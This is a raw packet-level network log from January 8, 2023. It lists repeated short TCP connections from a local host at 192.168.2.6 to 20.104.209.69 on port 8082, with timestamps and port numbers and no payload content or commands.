Jan 8, 2023 16:08:59.347718954 CET	8082	49978	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:59.347994089 CET	49978	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:59.349653959 CET	49978	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:59.463710070 CET	8082	49978	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:59.467892885 CET	8082	49978	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:59.467925072 CET	8082	49978	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:59.468091965 CET	49978	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:59.468219995 CET	8082	49978	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:59.468492031 CET	49978	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:59.470266104 CET	49978	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:59.584233999 CET	8082	49978	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:59.605849981 CET	49979	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:59.720175982 CET	8082	49979	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:59.721417904 CET	49979	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:59.721836090 CET	49979	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:59.835553885 CET	8082	49979	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:59.840317011 CET	8082	49979	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:59.840364933 CET	8082	49979	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:59.840387106 CET	8082	49979	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:59.840487957 CET	49979	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:59.840487957 CET	49979	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:59.841200113 CET	49979	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:59.955100060 CET	8082	49979	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:59.982764006 CET	49980	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:00.097935915 CET	8082	49980	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:00.099474907 CET	49980	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:00.100120068 CET	49980	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:00.214905024 CET	8082	49980	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:00.600455046 CET	8082	49980	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:00.600492954 CET	8082	49980	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:00.600526094 CET	8082	49980	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:00.600712061 CET	49980	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:00.621465921 CET	49980	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:00.736454964 CET	8082	49980	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:00.755091906 CET	49981	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:00.870733023 CET	8082	49981	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:00.871009111 CET	49981	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:00.871500969 CET	49981	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:00.986412048 CET	8082	49981	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:00.989634037 CET	8082	49981	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:00.989670038 CET	8082	49981	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:00.989677906 CET	8082	49981	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:00.989792109 CET	49981	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:00.989857912 CET	49981	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:01.104808092 CET	49981	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:01.220102072 CET	8082	49981	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:01.231317043 CET	49982	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:01.345580101 CET	8082	49982	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:01.345875025 CET	49982	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:01.352119923 CET	49982	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:01.466315031 CET	8082	49982	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:01.470716953 CET	8082	49982	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:01.470760107 CET	8082	49982	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:01.470783949 CET	8082	49982	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:01.470889091 CET	49982	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:01.470889091 CET	49982	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:01.511023045 CET	49982	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:01.625191927 CET	8082	49982	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:01.649597883 CET	49983	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:01.764111042 CET	8082	49983	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:01.764242887 CET	49983	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:01.766978979 CET	49983	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:01.881138086 CET	8082	49983	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:01.885299921 CET	8082	49983	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:01.885392904 CET	8082	49983	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:01.885418892 CET	8082	49983	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:01.885438919 CET	49983	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:01.885466099 CET	49983	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:01.885479927 CET	49983	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:01.901097059 CET	49983	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:02.015381098 CET	8082	49983	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:02.748809099 CET	49984	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:02.864268064 CET	8082	49984	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:02.865828037 CET	49984	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:02.869141102 CET	49984	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:02.984272003 CET	8082	49984	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:02.990329981 CET	8082	49984	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:02.990374088 CET	8082	49984	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:02.990396976 CET	8082	49984	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:02.990416050 CET	49984	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:02.990467072 CET	49984	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:02.991380930 CET	49984	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:03.106260061 CET	8082	49984	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:03.935857058 CET	49985	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:04.050214052 CET	8082	49985	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:04.050478935 CET	49985	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:04.339037895 CET	49985	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:04.453660965 CET	8082	49985	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:04.461560965 CET	8082	49985	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:04.461589098 CET	8082	49985	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:04.461721897 CET	49985	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:04.461759090 CET	8082	49985	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:04.461993933 CET	49985	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:04.462671041 CET	49985	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:04.577106953 CET	8082	49985	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:04.687398911 CET	49986	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:04.802787066 CET	8082	49986	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:04.803128958 CET	49986	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:04.803831100 CET	49986	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:04.919636011 CET	8082	49986	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:04.922924995 CET	8082	49986	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:04.922976017 CET	8082	49986	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:04.923002958 CET	8082	49986	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:04.923104048 CET	49986	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:04.947810888 CET	49986	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:05.063232899 CET	8082	49986	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:05.080436945 CET	49987	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:05.196458101 CET	8082	49987	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:05.196558952 CET	49987	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:05.197628021 CET	49987	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:05.312586069 CET	8082	49987	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:05.325917006 CET	8082	49987	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:05.325989962 CET	8082	49987	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:05.326028109 CET	8082	49987	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:05.326051950 CET	49987	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:05.326302052 CET	49987	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:05.326663017 CET	49987	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:05.440799952 CET	8082	49987	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:05.456521034 CET	49988	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:05.572169065 CET	8082	49988	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:05.572398901 CET	49988	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:05.573071957 CET	49988	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:05.687998056 CET	8082	49988	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:05.692147970 CET	8082	49988	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:05.692177057 CET	8082	49988	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:05.692337990 CET	49988	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:05.692516088 CET	8082	49988	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:05.692584991 CET	49988	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:05.693067074 CET	49988	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:05.808825970 CET	8082	49988	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:05.837748051 CET	49989	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:05.980834961 CET	8082	49989	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:05.981291056 CET	49989	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:05.982101917 CET	49989	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:06.096829891 CET	8082	49989	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:06.102718115 CET	8082	49989	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:06.102741957 CET	8082	49989	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:06.102752924 CET	8082	49989	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:06.102977991 CET	49989	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:06.112673998 CET	49989	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:06.227663040 CET	8082	49989	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:06.250437021 CET	49990	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:06.365056992 CET	8082	49990	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:06.365994930 CET	49990	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:06.373748064 CET	49990	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:06.488089085 CET	8082	49990	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:06.492661953 CET	8082	49990	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:06.492698908 CET	8082	49990	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:06.492929935 CET	49990	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:06.492929935 CET	49990	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:06.493901968 CET	8082	49990	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:06.494033098 CET	49990	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:06.494219065 CET	49990	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:06.608170986 CET	8082	49990	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:06.623269081 CET	49991	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:06.737785101 CET	8082	49991	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:06.738008976 CET	49991	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:06.738992929 CET	49991	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:06.853003025 CET	8082	49991	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:06.857105970 CET	8082	49991	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:06.857136011 CET	8082	49991	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:06.857157946 CET	8082	49991	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:06.857424021 CET	49991	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:06.858208895 CET	49991	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:06.972753048 CET	8082	49991	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:07.002688885 CET	49992	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:07.117475033 CET	8082	49992	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:07.117706060 CET	49992	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:07.122092009 CET	49992	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:07.236145020 CET	8082	49992	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:07.239968061 CET	8082	49992	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:07.240008116 CET	8082	49992	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:07.240035057 CET	8082	49992	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:07.240147114 CET	49992	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:07.240205050 CET	49992	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:07.262622118 CET	49992	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:07.376652956 CET	8082	49992	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:07.387136936 CET	49993	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:07.501688004 CET	8082	49993	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:07.501807928 CET	49993	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:07.503489971 CET	49993	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:07.617722034 CET	8082	49993	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:07.621989965 CET	8082	49993	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:07.622062922 CET	8082	49993	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:07.622106075 CET	8082	49993	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:07.622174978 CET	49993	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:07.622219086 CET	49993	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:07.622873068 CET	49993	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:07.736690044 CET	8082	49993	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:07.751153946 CET	49994	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:07.865309954 CET	8082	49994	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:07.865432024 CET	49994	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:07.866158009 CET	49994	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:07.980005980 CET	8082	49994	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:07.985980034 CET	8082	49994	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:07.986006975 CET	8082	49994	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:07.986185074 CET	49994	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:07.986449003 CET	8082	49994	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:07.986620903 CET	49994	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:07.990359068 CET	49994	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:08.104898930 CET	8082	49994	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:08.136316061 CET	49995	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:08.250927925 CET	8082	49995	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:08.251342058 CET	49995	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:08.254319906 CET	49995	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:08.368614912 CET	8082	49995	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:08.374524117 CET	8082	49995	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:08.374571085 CET	8082	49995	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:08.374591112 CET	8082	49995	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:08.374738932 CET	49995	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:08.404863119 CET	49995	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:08.518870115 CET	8082	49995	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:08.534385920 CET	49996	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:08.649704933 CET	8082	49996	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:08.650115967 CET	49996	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:08.653381109 CET	49996	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:08.768568039 CET	8082	49996	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:08.773102045 CET	8082	49996	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:08.773153067 CET	8082	49996	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:08.773226976 CET	8082	49996	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:08.773274899 CET	49996	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:08.773320913 CET	49996	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:08.774190903 CET	49996	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:08.889062881 CET	8082	49996	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:08.923468113 CET	49997	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:09.038723946 CET	8082	49997	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:09.038887978 CET	49997	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:09.039400101 CET	49997	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:09.154089928 CET	8082	49997	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:09.158490896 CET	8082	49997	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:09.158515930 CET	8082	49997	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:09.158540010 CET	8082	49997	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:09.158704996 CET	49997	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:09.158704996 CET	49997	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:09.159575939 CET	49997	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:09.274545908 CET	8082	49997	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:09.296086073 CET	49998	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:09.410645008 CET	8082	49998	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:09.411003113 CET	49998	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:09.417256117 CET	49998	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:09.531658888 CET	8082	49998	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:09.535710096 CET	8082	49998	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:09.535753965 CET	8082	49998	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:09.535775900 CET	8082	49998	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:09.536422968 CET	49998	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:09.555769920 CET	49998	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:09.670123100 CET	8082	49998	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:09.701781988 CET	49999	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:09.816473961 CET	8082	49999	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:09.818239927 CET	49999	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:09.818973064 CET	49999	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:09.932915926 CET	8082	49999	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:09.939246893 CET	8082	49999	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:09.939299107 CET	8082	49999	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:09.939416885 CET	8082	49999	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:09.939491987 CET	49999	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:09.939570904 CET	49999	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:09.941207886 CET	49999	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:10.058135033 CET	8082	49999	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:10.077656031 CET	50000	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:10.192111015 CET	8082	50000	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:10.192310095 CET	50000	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:10.192873955 CET	50000	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:10.306869030 CET	8082	50000	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:10.313555002 CET	8082	50000	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:10.313591957 CET	8082	50000	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:10.313644886 CET	8082	50000	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:10.313709021 CET	50000	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:10.313709021 CET	50000	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:10.313800097 CET	50000	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:10.314210892 CET	50000	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:10.428117990 CET	8082	50000	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:10.450625896 CET	50001	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:10.565188885 CET	8082	50001	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:10.565345049 CET	50001	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:10.565917015 CET	50001	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:10.679981947 CET	8082	50001	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:10.684078932 CET	8082	50001	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:10.684109926 CET	8082	50001	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:10.684139013 CET	8082	50001	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:10.684509993 CET	50001	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:10.704469919 CET	50001	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:10.818810940 CET	8082	50001	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:10.850142002 CET	50002	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:10.965492010 CET	8082	50002	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:10.965697050 CET	50002	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:10.966218948 CET	50002	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:11.081355095 CET	8082	50002	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:11.085454941 CET	8082	50002	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:11.085495949 CET	8082	50002	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:11.085552931 CET	8082	50002	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:11.085628033 CET	50002	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:11.085668087 CET	50002	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:11.092197895 CET	50002	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:11.207339048 CET	8082	50002	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:11.222577095 CET	50003	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:11.337112904 CET	8082	50003	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:11.337343931 CET	50003	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:11.337826014 CET	50003	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:11.452018976 CET	8082	50003	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:11.456406116 CET	8082	50003	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:11.456480026 CET	8082	50003	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:11.456501007 CET	8082	50003	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:11.456566095 CET	50003	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:11.456634045 CET	50003	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:11.458156109 CET	50003	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:11.575304031 CET	8082	50003	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:11.599149942 CET	50004	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:11.713836908 CET	8082	50004	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:11.713957071 CET	50004	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:11.714432955 CET	50004	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:11.828560114 CET	8082	50004	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:11.832968950 CET	8082	50004	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:11.833024025 CET	8082	50004	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:11.833098888 CET	50004	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:11.833303928 CET	8082	50004	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:11.833355904 CET	50004	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:11.833384991 CET	50004	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:11.845526934 CET	50004	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:11.960139990 CET	8082	50004	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:11.982744932 CET	50005	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:12.097332001 CET	8082	50005	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:12.097448111 CET	50005	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:12.098069906 CET	50005	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:12.212234974 CET	8082	50005	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:12.217036009 CET	8082	50005	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:12.217096090 CET	8082	50005	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:12.217204094 CET	50005	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:12.217247963 CET	8082	50005	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:12.217350960 CET	50005	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:12.217715979 CET	50005	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:12.331669092 CET	8082	50005	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:12.358618021 CET	50006	8082	192.168.2.6	20.104.209.69
